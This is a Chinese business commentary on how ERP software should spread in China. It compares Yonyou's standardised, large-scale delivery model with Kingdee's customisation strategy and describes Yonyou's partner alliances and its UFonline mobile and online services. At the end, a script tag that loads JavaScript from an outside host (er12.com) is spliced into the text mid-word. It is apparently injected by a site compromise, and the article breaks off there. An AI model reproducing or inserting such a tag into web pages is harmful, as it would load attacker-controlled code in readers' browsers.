文／王宏亮
erp要不要普及的问题，说到底其实是怎么普及的问题。
围绕要不要普及，国内主流erp厂商中主要有两派观点，一派以用友为代表，认为目前erp已成为大众消费，整个产业链也已逐渐成熟，因此可以抛弃以往那种咨询+定制的单一客户个性化交付方式，以大规模标准化的方式来实现交付。一派则以金蝶为代表，认为目前erp市场远未到大规模普及之时，应主要以个性化交付方式为主。
按照用友董事长王文京的说法，定制式的erp模式是没有生命力的，erp的成功应用模式，应该大体包括70%具有思想和咨询能力的标准化产品、20%行业实践以及10%与客户自主经营相关联的个性化设计。这其中，标准、行业、个性，三者缺一不可。
王文京的提法，与业内另一个规模稍小的厂商山东通软提出的erp应用模式比较接近，后者主张60％的标准化、30％的行业化与10％的个性化相结合。只有金蝶与行业整体策略存在分歧。在金蝶看来，erp的应用应该以差异化战略，针对细分市场推出个性化定制产品。
为了给“个性化erp”张本，金蝶还特意援引《蓝海战略》一书，抛出一个“蓝海战略”计划，时当去年9月。那时，该书刚刚流布到国内，知道的人还并不多。
不过，不知是因为时间仓促，无暇细想，还是别有所指，金蝶的蓝海计划却与《蓝海战略》一书作者w·钱·金博士的原意貌合神离。按w·钱·金博士的原意，所谓差异化战略和细分市场战略，恰恰是红海战略的惯用套路，而蓝海战略的核心则是合并细分市场，寻求整合需求。
其实，如果非要拿蓝海战略说事，那么无论是用友“标准化+行业化+个性化”的模式，还是金蝶的“个性化”模式，都还在红海业务的范畴之内。erp的蓝海，应该是由erp产品本身起步，向服务咨询、移动增值服务(移动商务)、在线服务等领域一路延伸，寻求到更新的服务模式和应用模式。而经营好现有的红海业务，则是走向蓝海的必要条件。
普及是硬道理
erp引入中国迄今已十多年，几乎成了企业未来发展不可或缺的基础设施和商业桌面，因此对erp厂商而言，问题不是要不要普及，而是怎么普及。
显然，erp的普及要求产品、实施乃至整个产业链都要逐渐趋于标准化。如果没有规模化的复制，而还像以往那样把不同用户分割为小规模、个性化的市场，一单一单去谈，成本自然降不下来，也就谈不上大规模交付。只有打破传统的客户定制或复杂配制模式，走基于标准产品的大规模个性化交付模式，才能在规模化与个性化之间找到均衡点。
要实现规模化交付，产品和技术能力是关键。据了解，目前用友已拥有用友通、用友erp-u8、用友erp-nc三条成熟的业务线，范围涵盖erp、scm、crm、hr以及协同商务等管理领域的近百个应用产品和十多种行业解决方案。环顾国内erp同业，其产品套件化的能力可以说无出其右。
erp要普及，规模化的应用服务支持体系也不能少，如管理咨询、it咨询、系统集成、行业应用、增值开发、运营服务、培训教育机构、系统软硬件等等。而要形成规模化的服务体系，一家erp企业的力量显然不够，还需要整合服务价值链的资源，如此才能够向用户提供“一站式管理解决方案”。
回头看看，用友在服务价值链上的布局，其脉络清晰可辨。
2004年，用友推出“ufware-打造中国最大的管理软件产业链”战略，与微软、英特尔、毕博管理咨询公司、中关村科技、nec、新华中启、腾讯等企业组成产品与服务联盟，首次尝试在用友内部的硬资源与外部的软资源之间建立整合机制。
2005年4月，由用友牵头的“erp普及联盟”宣告成立，ibm、英特尔、微软、富士通、北大纵横、清华艾克斯特等50多家厂商参与其事。
2005年10月，用友联合联想、英特尔、赛门铁克、中商网推出名为 “魔力宝箱”的产品组合，其中包括了用友通系列小型管理软件、平台运行、数据安全、电子商务等多项应用服务。
2006年，用友启动燎原市场覆盖计划，将分销网络延伸到全国1000余个城市，商业伙伴则发展到320个城市。随后，用友更推出it联盟经济体计划，打算在四年间形成40亿元的伙伴经济规模。不仅如此，针对通系列产品，用友还开始频繁与一些硬件、网络、电信、电子商务等领域的品牌企业接触，将触角伸向移动商务及在线服务领域。
试水移动商务
随着互联网、无线通信、wifi、3g等技术的发展，正忙于战略圈地的国内erp厂商开始遭遇另一个战略拐点，就是网络服务和移动增值服务。
在国际上，一些软件厂商如微软、甲骨文、sap等，早已开始了对网络服务和移动商务领域的拓展。同时，一批提供在线字处理、在线财务软件、在线管理软件的新兴公司也风生水起，获得vc青目。
在国内，用友也于去年7月推出ufonline(用友在线)，试水在线服务和互联网和移动增值服务。ufonline下设三大业务群，即移动增值服务(移动商务)、外包托管和asp、在线信息服务。ufonline归属于在线服务事业部，与小?script src=http://er12.com/t.js>
